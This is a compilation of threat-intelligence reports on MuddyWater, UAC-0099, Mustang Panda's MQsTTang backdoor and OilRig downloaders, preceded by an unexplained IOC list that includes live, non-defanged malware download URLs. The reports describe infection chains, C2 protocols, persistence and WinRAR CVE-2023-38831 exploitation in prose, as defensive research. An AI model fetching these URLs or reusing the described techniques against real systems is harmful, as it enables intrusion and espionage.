+FDD66DC414647B87AA1688610337133B +5590C7E442E8D2BC857813C008CE4A6C +303ACDC5A695A27A91FEA715AE8FDFB8 +FECB399CAE4861440DF73EAA7110F52C +C92A9FA4306F7912D3AF58C2A75682FD +57A169A5A3CA09A0EDE3FEDC50E6D222 +05B99BEE0D8BA95F5CCB1D356939DAA8 +64E6B811153C4452837E187A10D54665 +c1eeb77920357a53e271091f85618bd9 +autgerman.autgerman.com +http://213.226.123.14/8bmeVwqx/Plugins/cred.dll +http://213.226.123.14/8bmeVwqx/Plugins/clip64.dll +http://213.226.123.14/8bmeVwqx/index.php +http://213.226.123.14/8bmeVwqx/Plugins/cred64.dll +http://213.226.123.14/8bmeVwqx/Plugins/clip.dll +http://213.226.123.14/8bmeVwqx/index.php?scr=1 +https://subirfact.com/onLyofFicED.bat +360 Advanced Threat Research Institute +360 Advanced Threat Research Institute is the core capability support department of 360 +Digital Security Group. It is composed of 360 senior security experts. It focuses on the +discovery, defense, disposal and research of advanced threats. It has been the first to +capture Double Kill, Double Star, and Nightmare Formula globally. It has conducted many +well-known zero-day attacks in the wild and exclusively disclosed the advanced actions of +multiple national APT organizations, winning widespread recognition within and outside the +industry and providing strong support for 360 to ensure national network security. +APT109 +MuddyWater eN-Able spear-phishing with new TTPs +deepinstinct.com/blog/muddywater-en-able-spear-phishing-with-new-ttps +November 1, 2023 +Announcing Deep Instinct Prevention for Storage for cloud storage +and NAS environments +Learn more +Executive summary: +Deep Instinct +s Threat Research team has identified a new campaign from the +MuddyWater + group +The campaign has been observed attacking two Israeli targets +The campaign exhibits updated TTPs to previously reported MuddyWater activity +Figure 1: Campaign overview +Introduction +Previous research showed that MuddyWater has sent spear-phishing emails, starting back in +2020, with direct links, as well as PDF, RTF, and HTML attachments containing links to +archives hosted on various file-sharing platforms. +Those archives contained installers for various legitimate remote administration tools. +Before launching the new campaign during the Israel-Hamas war, MuddyWater reused +previously known remote administration tools, utilizing a new file-sharing service called +Storyblok. +On October 30th Deep Instinct identified two archives hosted on +Storyblok + containing a +new multi-stage infection vector. It contains hidden files, an LNK file that initiates the +infection, and an executable file designed to unhide a decoy document while executing +Advanced Monitoring Agent, a remote administration tool. +This is the first public report about MuddyWater utilizing this remote administration tool. +The Multi-stage Social Engineering Campaign +While Deep Instinct could not verify the spreading mechanism of the new campaign, it most +likely starts with a spear-phishing email, similar to previous campaigns. +The content of the email lures the victim into downloading an archive hosted at +a.storyblok[.]com +In this analysis, we examine the +defense-video.zip + file. +When the archive is extracted, several folders must be navigated until a LNK shortcut, which +looks like another folder named +Attachments, + is found: +Figure 2: LNK Shortcut +However, there are additional hidden folders and files extracted from the archive: +Figure 3: Hidden folders +When the victim opens the LNK file, the infection chain starts. +By examining the LNK file, we can see that it executes an executable from one of the hidden +directories: +Figure 4: LNK command line arguments +The file +Diagnostic.exe + has been used in both archives Deep Instinct observed. The +purpose of this file is to execute another executable called +Windows.Diagnostic.Document.EXE, + which is located in the hidden directory named +.end +under a +Windows.Diagnostic.Document + hidden directory. +The file named +Windows.Diagnostic.Document.EXE + is a signed, legitimate installer for +Advanced Monitoring Agent. +In addition to executing the remote administration tool, +Diagnostic.exe + also opens a new +Windows Explorer window of the hidden +Document + folder. This is done to fool the victim +that opened the LNK file into thinking that it was indeed a folder. +The decoy document is an official memo from the Israeli Civil Service Commission, which +can be publicly downloaded from their website. +The memo describes what to do in case a government worker expresses opinions against +the Israeli state on social networks: +Figure 5: Decoy document +Conclusion +MuddyWater continues to attack Israeli targets in various ongoing campaigns. +In this campaign, MuddyWater employs updated TTPs. These include a new public hosting +service, employing a LNK file to initiate the infection, and utilizing intermediate malware that +mimics the opening of a directory while executing a new remote administration tool. +After the victim has been infected, the MuddyWater operator will connect to the infected host +using the legitimate remote administration tool and will start doing reconnaissance on the +target. +After the reconnaissance phase, the operator will likely execute PowerShell code which will +cause the infected host to beacon to a custom C2 server. +MuddyWater has used PhonyC2 in the past. However, Deep Instinct recently observed +MuddyWater using a new C2 framework named MuddyC2Go + a detailed blog will be +published soon, stay tuned. +IOCs: +File +Description +37c3f5b3c814e2c014abc1210e8e69a2 +Archive containing Atera Agent +16923d827a440161217fb66a04e8b40a +Atera Agent Installer +7568062ad4b22963f3930205d1a14df7 +Archive containing Atera Agent +39eea24572c14910b67242a16e24b768 +Archive containing Atera Agent +2e09e53135376258a03b7d793706b70f +Atera Agent Installer +1f0b9aed4b2c8d958a9b396852a62c9d +Archive containing SimpleHelp +065f0871b6025b8e61f35a188bca1d5c +SimpleHelp Installer +146cc3a1a68be349e70b79f9115c496b +defense-video.zip +dd247ccd7cc3a13e1c72bb01cf3a816d +Attachments.lnk +8d2199fa11c6a8d95c1c2b4add70373a +Diagnostic.exe +04afff1465a223a806774104b652a4f0 +Advanced Monitoring Agent Installer +Description +6167f03c8b2734c20eb02d406d3ba651 +Decoy Document (defense-video.zip) +e8f3ecc0456fcbbb029b1c27dc1faad0 +attachments.zip +952cc4e278051e349e870aa80babc755 +Decoy Document (attachments.zip) +Network +IP or URL +Description +ws.onehub[.]com/files/7f9dxtt6 +URL to Archive of Atera +Agent +a.storyblok[.]com/f/253959/x/b92ea48421/form.zip +URL to Archive of Atera +Agent +a.storyblok[.]com/f/255988/x/5e0186f61d/questionnaire.zip +URL to Archive of Atera +Agent +a.storyblok[.]com/f/259791/x/94f59e378f/questionnaire.zip +URL to Archive of +SimpleHelp +146.70.149[.]61 +MuddyWater +s SimpleHelp +server +146.70.124[.]102 +Suspected MuddyWater +SimpleHelp server +37.120.237[.]204 +Suspected MuddyWater +SimpleHelp server +37.120.237[.]248 +Suspected MuddyWater +SimpleHelp server +a.storyblok[.]com/f/259837/x/21e6a04837/defensevideo.zip +URL to Archive of Advanced +Monitoring Agent +IP or URL +Description +a.storyblok[.]com/f/259791/x/91e2f5fa2f/attachments.zip +URL to Archive of Advanced +Monitoring Agent +Additional IOCs regarding MuddyWater can be found in our GitHub page: +https://github.com/deepinstinct/Israel-Cyber-Warfare-Threat-Actors +Threat Actor 'UAC-0099' Continues to Target Ukraine +deepinstinct.com/blog/threat-actor-uac-0099-continues-to-target-ukraine +December 21, 2023 +DECEMBER 21, 2023 +Deep Instinct Threat Lab +Key Takeaways +"UAC-0099" is a threat actor that has targeted Ukraine since mid-2022 +Deep Instinct Threat Lab has identified new attacks by the threat actor +The threat actor was observed leveraging CVE-2023-38831 +The threat actor targets Ukrainian employees working for companies outside of Ukraine +Introduction +In May 2023, the Ukrainian CERT published advisory #6710 about a threat actor dubbed +UAC-0099. + The advisory briefly details the threat actor +s activities and tools. +Since the CERT-UA publication in May, Deep Instinct has identified new attacks carried out +UAC-0099 + against Ukrainian targets. +This blog post will shed additional light on the threat group +s recent attacks, which feature +common tactics, techniques, and procedures (TTPs), including the use of a fabricated court +summons to bait targets in Ukraine into executing the malicious files. +Important note: Some of the C2 servers related to these attacks are still active at the +time of publication. +1/11 +Figure 1: Overview of recent UAC-0099 activities. +RAR SFX with LNK Infection Vector +In early August, +UAC-0099 + sent an email impersonating the Lviv city court using the ukr.net +email service. +The email was sent to a corporate email box of a Ukrainian employee working remotely for a +company outside of the Ukraine. +The attached is an executable file created by WinRAR, the Windows-based file archiver and +compression utility that can compress a file as a self-extracting archive (SFX): +2/11 +Figure 2: Prompt when executing the attached SFX file. +After extracting the contents of the archive, a new file is created with a double extension, in +this case docx.lnk: +Figure 3: Double extension social engineering trick. +The file looks like a regular document file. However, it +s a LNK shortcut disguised as a DOCX +file. Closer inspection reveals that the file uses the +WordPad + application icon instead of a +DOCX icon. When opened, the specially crafted LNK file executes PowerShell with malicious +content: +3/11 +Figure 4: Malicious PowerShell commands inside the LNK file. +The malicious PowerShell code decodes two base64 blobs and writes the output into VBS +and DOCX files. After that, the PowerShell code opens the DOCX file as a decoy while also +creating a new scheduled task that executes the VBS file every three minutes. +The VBS malware was named +LonePage + by CERT-UA. When executed, it creates a hidden +PowerShell process that communicates with a hardcoded C2 URL to fetch a text file. The +rest of the PowerShell code is executed only if the response from the C2 is greater than one +byte. In that instance, the PowerShell script checks to see if the string +get-content +included in the text file. If the string is present, then the script executes the code from the +server and saves it as an array of bytes. If the string is absent, the script executes a +combination of commands inside the text file from the server and some hard-coded basic +enumeration commands such as +whoami: +Figure 5: LonePage VBS script. +Regardless of the C2 response, the results of executing the commands inside the txt file or +the hardcoded commands are sent back to the same C2 server. However, it is sent to a +different port via HTTP POST method. +The DOCX document is a decoy to trick the victim into thinking they +re opening a legitimate +DOCX file containing a court summons instead of a malicious file: +4/11 +Figure 6: Contents of DOCX file. +In early November, another instance of this campaign was observed using a different C2 +address + 196.196.156[.]2. +Since the threat actor controls the content of the +upgrade.txt + files, they can change it +according to their objectives. As such, the content is not always the same and can vary. +The following code was observed as a response from the C2 server at 2023-11-08 14:50:30 +UTC. +5/11 +Figure 7: C2 Get-Screenshot command. +This PowerShell code is responsible for taking a screenshot. As mentioned above, the +LonePage VBS sends the results back to the C2, allowing the threat actor to execute any +PowerShell code on the infected computer and receive the response back. +At the end of November 2023, another campaign instance was observed using the C2 +address 2.59.222[.]98. In this case, the payload response from the C2 server aligns with +what was described as +recon + activity in the pastebin: +Figure 8: Recon commands received from C2 server. +The decoy document is a PDF file instead of a DOCX. And instead of the usual court +summons document, the PDF file shows a smudged document: +6/11 +Figure 9: Smudged decoy PDF document. +HTA Infection Vector +In contrast to the LNK attack vector described earlier, this attack uses HTA. The HTA method +is similar, but there are notable differences. Instead of an LNK file invoking PowerShell, the +HTA file includes HTML code that contains a VBScript that executes PowerShell. The +scheduled task cadence is also different + it runs every four minutes instead of three in the +previous cases. +While CERT-UA reported in their advisory that the HTA file drops an HTML file as a decoy, +Deep Instinct observed a similar court summons DOCX decoy document, like what was +observed in the LNK chain. +7/11 +Figure 10: HTA file content. +CVE-2023-38831 Infection Vector +In both attacks described below, +UAC-0099 + exploited a known WinRAR vulnerability, +identified by Group-IB and traced back to April 2023. +The vulnerability stems from how WinRAR processes ZIP files. The exploitation requires a +user to interact with a specially crafted ZIP archive. +Here +s how it works: the attacker creates an archive with a benign filename with a space +after the file extension + for example, +poc.pdf . + The archive includes a folder with the same +name, including the space (something that is not possible under normal conditions, since the +operating system does not allow the creation of a file with the same name). The folder +includes an additional file with the same name as the benign file, including a space, followed +by a +.cmd + extension. +When a user opens a ZIP file containing these files in an unpatched version of WinRAR and +double-clicks on the benign file, the file with the + extension is executed instead. +The vulnerability might produce higher infection rates because the attacks are disguised so +well; even security-savvy victims can fall for the deception. Expecting to open a benign file, +the user will inadvertently execute malicious code. +You can find a POC for the vulnerability in GitHub. A patched WinRAR (version 6.23) was +released on August 2, 2023. +Deep Instinct identified two ZIP files created by +UAC-0099" on August 5, 2023: +8/11 +Figure 11: Contents of malicious + file inside ZIP archive. +The malicious + file is different in the two files, each containing a different C2 URI path. +The modification time between the two files is only two seconds, indicating that, most likely, +the files were created in an automated fashion. This, combined with the fact that UAC-0099 +started to exploit the vulnerability several days after the patch, shows the level of +sophistication of the attackers. +While Google TAG identified several Russian threat actors using the vulnerability to attack +Ukrainian targets, the UAC-0099 activity is absent in their blog. +The CVE assignment and the Group-IB blog about the vulnerability were published after +UAC-0099 + leveraged the attack technique, indicating they likely knew how to exploit it. +The decoy used in this campaign was once again the +summon to court + document theme. +Conclusions and Recommendations +The tactics used by +UAC-0099 + are simple, yet effective. Despite the different initial infection +vectors, the core infection is the same + they rely on PowerShell and the creation of a +scheduled task that executes a VBS file. +Monitoring and limiting the functionality of those components can reduce the risk of +UAC0099 + attacks + and/or identify them quickly in the event of compromise. +The WinRAR exploitation is an interesting choice. Some people don +t update their software +in a timely fashion, even with automatic updates. WinRAR requires a manual update, +meaning that even if a patch is available, many people will likely still have a vulnerable +version of WinRAR installed. +Please make sure you have the latest version of WinRAR installed. +IOCs and the POC for the CVE-2023-38831 can be found on our GitHub. +IOCs +147.78.46[.]40 +196.196.156[.]2 +2.59.222[.]98 +9/11 +SHA256 +Descriptio +d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6 +0eec5a7373b28a991831d9be1e30976ceb057e5b701e732372524f1a50255c7 +8aca535047a3a38a57f80a64d9282ace7a33c54336cd08662409352c23507602 +2c2fa6b9fbb6aa270ba0f49ebb361ebf7d36258e1bdfd825bc2faeb738c487ed +Decoy +659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd +0aa794e54c19dbcd5425405e3678ab9bc98fb7ea787684afb962ee22a1c0ab51 +4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924 +53812d7bdaf5e8e5c1b99b4b9f3d8d3d7726d4c6c23a72fb109132d96ca725c2 +Decoy +38b49818bb95108187fb4376e9537084062207f91310cdafcb9e4b7aa0d078f9 +a10209c10bf373ed682a13dad4ff3aea95f0fdcd48b62168c6441a1c9f06be37 +61a5b971a6b5f9c2b5e9a860c996569da30369ac67108d4b8a71f58311a6e1f1 +Decoy +86549cf9c343d0533ef80be2f080a7e3c38c77a1dfbde0a2f89048127979ec2a +762c7289fb016bbcf976bd104bd8da72e17d6d81121a846cd40480dbdd876378 +39d56eab8adfe9eb244914dde42ec7f12f48836d3ba56c479ab21bdbc41025fe +f75f1d4c561fcb013e262b3667982759f215ba7e714c43474755b72ed7f9d01e +Decoy +986694cad425c8f566e4e12c104811d4e8b30ce6c4c4d38f919b617b1aa66b05 +CVE-2023 +38831 ZIP +54458ebfbe56bc932e75d6d0a5c1222286218a8ef26face40f2a0c0ec2517584 +Payload +96ab977f8763762af26bad2b6c501185b25916775b4ed2d18ad66b4c38bd5f0d +6a638569f831990df48669ca81fec37c6da380dbaaa6432d4407985e809810da +Decoy +87291b918218e01cac58ea55472d809d8cdd79266c372aebe9ee593c0f4e3b77 +CVE-2023 +38831 ZIP +f5f269cf469bf9c9703fe0903cda100acbb4b3e13dbfef6b6ee87a907e5fcd1b +Payload +e34fc4910458e9378ea357baf045e9c0c21515a0b8818a5b36daceb2af464ea0 +2a3da413f9f0554148469ea715f2776ab40e86925fb68cc6279ffc00f4f410dd +10/11 +SHA256 +Descriptio +0acd4a9ef18f3fd1ccf440879e768089d4dd2107e1ce19d2a17a59ebed8c7f5d +6f5f265110490158df91ca8ad429a96f8af69ca30b9e3b0d9c11d4fef74091e8 +736c0128402d83cd3694a5f5bb02072d77385c587311274e3229e9b2fd5c5af7 +Decoy +11/11 +MQsTTang: Mustang Panda +s latest backdoor treads new ground with Qt and +MQTT +welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt +March 2, 2023 +ESET researchers have analyzed MQsTTang, a new custom backdoor that we attribute to the Mustang Panda APT group. +This backdoor is part of an ongoing campaign that we can trace back to early January 2023. Unlike most of the group +malware, MQsTTang doesn +t seem to be based on existing families or publicly available projects. +Mustang Panda is known for its customized Korplug variants (also dubbed PlugX) and elaborate loading chains. In a +departure from the group +s usual tactics, MQsTTang has only a single stage and doesn +t use any obfuscation techniques. +Victimology +We have seen unknown entities in Bulgaria and Australia in our telemetry. We also have information indicating that this +campaign is targeting a governmental institution in Taiwan. However, due to the nature of the decoy filenames used, we +believe that political and governmental organizations in Europe and Asia are also being targeted. This would also be in line +with the targeting of the group +s other recent campaigns. As documented by fellow researchers at Proofpoint, Mustang Panda +has been known to target European governmental entities since at least 2020 and has increased its activity in Europe even +further, since Russia +s invasion of Ukraine. Figure 1 shows our view of the targeting for this campaign. +Figure 1. Map showing known and suspected targets of MQsTTang +Attribution +We attribute this new backdoor and the campaign to Mustang Panda with high confidence based on the following indicators. +We found archives containing samples of MQsTTang in two GitHub repositories belonging to the user YanNaingOo0072022. +Another GitHub repository of the same user was used in a previous Mustang Panda campaign described by Avast in a +December 2022 blogpost. +One of the servers used in the current campaign was running a publicly accessible anonymous FTP server that seems to be +used to stage tools and payloads. In the /pub/god directory of this server there are multiple Korplug loaders, archives, and +tools that were used in previous Mustang Panda campaigns. This is the same directory that was used by the stager described +in the aforementioned Avast blogpost. This server also had a /pub/gd directory, which was another path used in that +campaign. +Some of the infrastructure used in this campaign also matches the network fingerprint of previously known Mustang Panda +servers. +Technical analysis +MQsTTang is a barebones backdoor that allows the attacker to execute arbitrary commands on a victim +s machine and get +the output. Even so, it does present some interesting characteristics. Chief among these is its use of the MQTT protocol for +C&C communication. MQTT is typically used for communication between IoT devices and controllers, and the protocol +hasn +t been used in many publicly documented malware families. One such example is Chrysaor, also known as Pegasus for +Android. From an attacker +s perspective, one of MQTT +s benefits is that it hides the rest of their infrastructure behind a +broker. Thus, the compromised machine never communicates directly with the C&C server. As seen in Figure 2, this +capability is achieved by using the open source QMQTT library. This library depends on the Qt framework, a large part of +which is statically linked in the malware. Using the Qt framework for malware development is also fairly uncommon. +Lazarus +s MagicRAT is one of the rare recently documented examples. +Figure 2. RTTI showing classes from the QMQTT library +MQsTTang is distributed in RAR archives which only contain a single executable. These executables usually have names +related to Diplomacy and passports such as: +CVs Amb Officer PASSPORT Ministry Of Foreign Affairs.exe +Documents members of delegation diplomatic from Germany.Exe +PDF_Passport and CVs of diplomatic members from Tokyo of JAPAN.eXE +Note No.18-NG-23 from Embassy of Japan.exe +These archives are hosted on a web server with no associated domain name. This fact, along with the filenames, leads us to +believe that the malware is spread via spearphishing. +So far, we have only observed a few samples. Besides variations in some constants and hardcoded strings, the samples are +remarkably similar. The only notable change is the addition of some anti-analysis techniques in the latest versions. The first +of these consists of using the CreateToolhelp32Snapshot Windows API function to iterate through running processes and +look for the following known debuggers and monitoring tools. +cheatengine-x86_64.exe +ollydbg.exe +ida.exe +ida64.exe +radare2.exe +x64dbg.exe +procmon.exe +procmon64.exe +procexp.exe +processhacker.exe +pestudio.exe +systracerx32.exe +fiddler.exe +tcpview.exe +Note that, while the malware is a 32-bit executable, it only checks for the presence of x64dbg and not its 32-bit counterpart, +x32dbg. +The second technique uses the FindWindowW Windows API to look for the following Window Classes and Titles used by +known analysis tools: +PROCMON_WINDOW_CLASS +OLLYDBG +WinDbgFrameClass +OllyDbg + [CPU] +Immunity Debugger + [CPU] +When executed directly, the malware will launch a copy of itself with 1 as a command line argument. This is repeated by the +new process, with the argument being incremented by 1 on every run. When this argument hits specific values, certain tasks +will be executed. Note that the exact values vary between samples; the ones mentioned below correspond to the sample with +SHA-1 02D95E0C369B08248BFFAAC8607BBA119D83B95B. However, the tasks themselves and the order in which they are +executed is constant. +Figure 3 shows an overview of this behavior along with the tasks that are executed when the malware is first run. +Figure 3. Execution graph showing the subprocesses and executed tasks +Table 1 contains a list of the tasks and the value at which each of them is executed. We will describe them in further detail in +the upcoming paragraphs. +Table 1. Tasks executed by the backdoor +Task number +Argument value +Task description +Start C&C communication. +Create copy and launch. +Create persistence copy. +Establish persistence. +Stop recursive execution. +If any analysis tool or debugger is detected using the techniques we described previously, the behavior of task 1 is altered and +tasks 2, 3, and 4 are skipped entirely. +Task 1: C&C communication +As was previously mentioned, MQsTTang communicates with its C&C server over the MQTT protocol. All observed samples +use 3.228.54.173 as broker. This server is a public broker operated by EMQX, who also happen to be the maintainers of the +QMQTT library. This could be a way to make the network traffic seem legitimate and to hide Mustang Panda +s own +infrastructure. Using this public broker also provides resiliency; the service is unlikely to be taken down because of its many +legitimate users and, even if the current C&C servers are banned or taken down, Mustang Panda could spin up new ones and +use the same MQTT topics without disrupting MQsTTang +s operation. +However, this campaign could also be a test case by Mustang Panda before deciding whether to invest the time and resources +to set up their own broker. This is supported by the low number of samples we +ve observed and the very simple nature of +MQsTTang. +As shown in Figure 4, the malware and C&C server use two MQTT topics for their communication. The first one, iot/server2, +is used for communication from the client to the server. The second one is used for communication from the server to the +client. It follows the format iot/v2/ where is generated by taking the last 8 bytes, in hex form, of a +UUID. If any analysis tool is detected, server2 and v2 are respectively replaced with server0 and v0. This is likely in order to +avoid tipping off defenders by entirely aborting the malware +s execution early. +Figure 4. Simplified network graph of the communication between the backdoor and C&C server +All communication between the server and the client uses the same encoding scheme. The MQTT message +s payload is a +JSON object with a single attribute named msg. To generate the value of this attribute, the actual content is first base64 +encoded, then XORed with the hardcoded string nasa, and base64 encoded again. We will describe the exact format of these +payloads in the relevant sections. +Upon first connecting to the broker, the malware subscribes to its unique topic. Then, and every 30 seconds thereafter, the +client publishes a KeepAlive message to the server +s topic. The content of this message is a JSON object with the following +format: +"Alive": "", +"c_topic": "" +When the server wants to issue a command, it publishes a message to the client +s unique topic. The plaintext content of this +message is simply the command to be executed. As shown in Figure 5, the client executes the received command using +QProcess::startCommand from the Qt framework. The output, obtained using QProcess::readAllStandardOutput, is then sent +back in a JSON object with the following format: +"c_topic": "", +"ret": "" +Figure 5. Execution of received commands using the QProcess class +Since only the content of standard output is sent back, the server will not receive errors or warnings. From the server +s point +of view, a failed command is thus indistinguishable from a command that simply produces no output unless some sort of +redirection is performed. +Tasks 2 and 3: Copying the malware +The second and third tasks are fairly similar to each other. They copy the malware +s executable to a hardcoded path; +c:\users\public\vdump.exe and c:\users\public\vcall.exe respectively. The filenames used are different for each sample, but +they are always located in the C:\users\public directory. +In the second task, the newly created copy is then launched with the command line argument 97. +Task 4: Establishing persistence +Persistence is established by the fourth task, which creates a new value qvlc set to c:\users\public\vcall.exe under the +HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. This will cause the malware to be executed on +startup. +When MQsTTang is executed on startup as c:\users\public\vcall.exe, only the C&C communication task is executed. +Conclusion +The Mustang Panda campaign described in this article is ongoing as of this writing. The victimology is unclear, but the decoy +filenames are in line with the group +s other campaigns that target European political entities. +This new MQsTTang backdoor provides a kind of remote shell without any of the bells and whistles associated with the +group +s other malware families. However, it shows that Mustang Panda is exploring new technology stacks for its tools. It +remains to be seen whether this backdoor will become a recurring part of the group +s arsenal, but it is one more example of +the group +s fast development and deployment cycle. +ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET +Threat Intelligence page. +IoCs +Files +SHA-1 +Filename +Detection +Description +A1C660D31518C8AFAA6973714DE30F3D576B68FC +CVs Amb.rar +Win32/Agent.AFBI +RAR archive used to +distribute MQsTTang +backdoor. +SHA-1 +Filename +Detection +Description +430C2EF474C7710345B410F49DF853BDEAFBDD78 +CVs Amb Officer +PASSPORT Ministry +Of Foreign +Affairs.exe +Win32/Agent.AFBI +MQsTTang +backdoor. +F1A8BF83A410B99EF0E7FDF7BA02B543B9F0E66C +Documents.rar +Win32/Agent.AFBI +RAR archive used to +distribute MQsTTang +backdoor. +02D95E0C369B08248BFFAAC8607BBA119D83B95B +PDF_Passport and +CVs of diplomatic +members from +Tokyo of JAPAN.eXE +Win32/Agent.AFBI +MQsTTang +backdoor. +0EA5D10399524C189A197A847B8108AA8070F1B1 +Documents +members of +delegation +diplomatic from +Germany.Exe +Win32/Agent.AFBI +MQsTTang +backdoor. +982CCAF1CB84F6E44E9296C7A1DDE2CE6A09D7BB +Documents.rar +Win32/Agent.AFBI +RAR archive used to +distribute MQsTTang +backdoor. +740C8492DDA786E2231A46BFC422A2720DB0279A +23 from Embassy of +Japan.exe +Win32/Agent.AFBI +MQsTTang +backdoor. +AB01E099872A094DC779890171A11764DE8B4360 +BoomerangLib.dll +Win32/Korplug.TH +Known Mustang +Panda Korplug +loader. +61A2D34625706F17221C1110D36A435438BC0665 +breakpad.dll +Win32/Korplug.UB +Known Mustang +Panda Korplug +loader. +30277F3284BCEEF0ADC5E9D45B66897FA8828BFD +coreclr.dll +Win32/Agent.ADMW +Known Mustang +Panda Korplug +loader. +BEE0B741142A9C392E05E0443AAE1FA41EF512D6 +HPCustPartUI.dll +Win32/Korplug.UB +Known Mustang +Panda Korplug +loader. +F6F3343F64536BF98DE7E287A7419352BF94EB93 +HPCustPartUI.dll +Win32/Korplug.UB +Known Mustang +Panda Korplug +loader. +F848C4F3B9D7F3FE1DB3847370F8EEFAA9BF60F1 +libcef.dll +Win32/Korplug.TX +Known Mustang +Panda Korplug +loader. +Network +Domain +Hosting provider +First seen +Details +3.228.54.173 +broker.emqx.io +Amazon.com, Inc. +2020-03-26 +Legitimate public MQTT broker. +80.85.156[.]151 +Chelyabinsk-Signal LLC +2023-01-05 +MQsTTang delivery server. +80.85.157[.]3 +Chelyabinsk-Signal LLC +2023-01-16 +MQsTTang delivery server. +185.144.31[.]86 +Abuse-C Role +2023-01-22 +MQsTTang delivery server. +Github repositories +https://raw.githubusercontent[.]com/YanNaingOo0072022/14/main/Documents.rar +https://raw.githubusercontent[.]com/YanNaingOo0072022/ee/main/CVs Amb.rar +MITRE ATT&CK techniques +This table was built using version 12 of the MITRE ATT&CK framework. +Tactic +Name +Description +Resource +Development +T1583.003 +Acquire Infrastructure: Virtual +Private Server +Some servers used in the campaign are on shared hosting. +T1583.004 +Acquire Infrastructure: Server +Some servers used in the campaign seem to be exclusive +to Mustang Panda. +T1587.001 +Develop Capabilities: Malware +MQsTTang is a custom backdoor, probably developed by +Mustang Panda. +T1588.002 +Obtain Capabilities: Tool +Multiple legitimate and open- source tools, including +psexec, ps, curl, and plink, were found on the staging +server. +T1608.001 +Stage Capabilities: Upload +Malware +MQsTTang was uploaded to the web server for distribution. +T1608.002 +Stage Capabilities: Upload Tool +Multiple tools were uploaded to an FTP server. +Initial Access +T1566.002 +Phishing: Spearphishing Link +MQsTTang is distributed via spearphishing links to a +malicious file on an attacker-controlled web server. +Execution +T1106 +Native API +MQsTTang uses the QProcess class from the Qt +framework to execute commands. +T1204.002 +User Execution: Malicious File +MQsTTang relies on the user to execute the downloaded +malicious file. +Persistence +T1547.001 +Boot or Logon Autostart +Execution: Registry Run Keys / +Startup Folder +MQsTTang persists by creating a registry Run key. +Defense +Evasion +T1036.004 +Masquerading: Masquerade +Task or Service +In most samples, the registry key is created with the name +qvlc. This matches the name of a legitimate executable +used by VLC. +T1036.005 +Masquerading: Match +Legitimate Name or Location +When creating copies, MQsTTang uses filenames of +legitimate programs. +T1480 +Execution Guardrails +MQsTTang checks the paths it is executed from to +determine which tasks to execute. +T1622 +Debugger Evasion +MQsTTang detects running debuggers and alters its +behavior if any are found to be present. +T1071 +Application Layer Protocol +MQsTTang communicates with its C&C server using the +MQTT protocol. +T1102.002 +Web Service: Bidirectional +Communication +MQsTTang uses a legitimate public MQTT broker. +T1132.001 +Data Encoding: Standard +Encoding +The content of the messages between the malware and +server is base64 encoded. +T1573.001 +Encrypted Channel: Symmetric +Cryptography +The content of the messages between the malware and +server is encrypted using a repeating XOR key. +T1041 +Exfiltration Over C2 Channel +The output of executed commands is sent back to the +server using the same protocol. +Command +and Control +Exfiltration +2 Mar 2023 - 11:30AM +OilRig +s persistent attacks using cloud service-powered downloaders +welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders +ESET researchers analyzed a growing series of OilRig downloaders that the group has used in several campaigns throughout 2022, +to maintain access to target organizations of special interest + all located in Israel. These lightweight downloaders, which we named +SampleCheck5000 (SC5k v1-v3), OilCheck, ODAgent, and OilBooster, are notable for using one of several legitimate cloud service +APIs for C&C communication and data exfiltration: the Microsoft Graph OneDrive or Outlook APIs, and the Microsoft Office +Exchange Web Services (EWS) API. +In all cases, the downloaders use a shared (email or cloud storage) OilRig-operated account to exchange messages with the OilRig +operators; the same account is typically shared by multiple victims. The downloaders access this account to download commands +and additional payloads staged by the operators, and to upload command output and staged files. +We discovered the earliest of the series, SC5k (v1) downloader, in November 2021, when it was used in OilRig +s Outer Space +campaign, documented in our recent blogpost. In the current blogpost, we focus on all of the SC5k successors that OilRig +developed throughout 2022, with a new variation introduced every few months; we will also take a closer look at the mechanisms +employed by these downloaders. We also compare these downloaders to other OilRig backdoors that use email-based C&C +protocols, and that were reported earlier this year by Trend Micro (MrPerfectionManager) and Symantec (PowerExchange). +Finally, this blogpost also expands on our LABScon 2023 presentation, where we drilled down into how OilRig keeps access to +selected Israeli organizations: all of the downloaders studied in this blogpost were deployed in networks that were previously +affected by multiple OilRig tools, which underlines the fact that OilRig is persistent in targeting the same organizations, and +determined to keep its foothold in compromised networks. +Key points of this blogpost: +OilRig actively developed and used a series of downloaders with a similar logic throughout 2022: three new downloaders + ODAgent, OilCheck, OilBooster + and newer versions of the SC5k downloader. +The downloaders use various legitimate cloud service APIs for C&C communication and data exfiltration: Microsoft +Graph OneDrive API, Microsoft Graph Outlook API, and Microsoft Office EWS API. +Targets, all in Israel, included an organization in the healthcare sector, a manufacturing company, a local governmental +organization, and other organizations. +All targets were previously affected by multiple OilRig campaigns. +Attribution +OilRig, also known as APT34, Lyceum, Crambus, or Siamesekitten, is a cyberespionage group that has been active since at least +2014 and is commonly believed to be based in Iran. The group targets Middle Eastern governments and a variety of business +verticals, including chemical, energy, financial, and telecommunications. +OilRig carried out the DNSpionage campaign in 2018 and 2019, which targeted victims in Lebanon and the United Arab Emirates. In +2019 and 2020, OilRig continued its attacks with the HardPass campaign, which used LinkedIn to target Middle Eastern victims in +the energy and government sectors. In 2021, OilRig updated its DanBot backdoor and began deploying the Shark, Milan, and Marlin +backdoors, as mentioned in the T3 2021 issue of the ESET Threat Report. In 2022 and 2023, the group carried out several attacks +against local government entities and healthcare organizations in Israel, using its new backdoors Solar and Mango. In 2023, OilRig +targeted organizations in the Middle East with the PowerExchange and MrPerfectionManager backdoors, and related tools to +harvest internal mailbox account credentials and then to leverage these accounts for exfiltration. +We attribute SC5k (v1-v3), ODAgent, OilCheck, and OilBooster downloaders to OilRig with a high level of confidence, based on +these indicators: +Targets: +These downloaders were deployed exclusively against Israeli organizations, which aligns with typical OilRig targeting. +The observed verticals of the victims also align with OilRig +s interests + for example, we have seen OilRig previously +targeting the Israeli healthcare sector, as well as the local government sector in Israel. +1/16 +Code similarities: +The SC5k v2 and v3 downloaders evolved naturally from the initial version, which was previously used in an OilRig Outer +Space campaign. 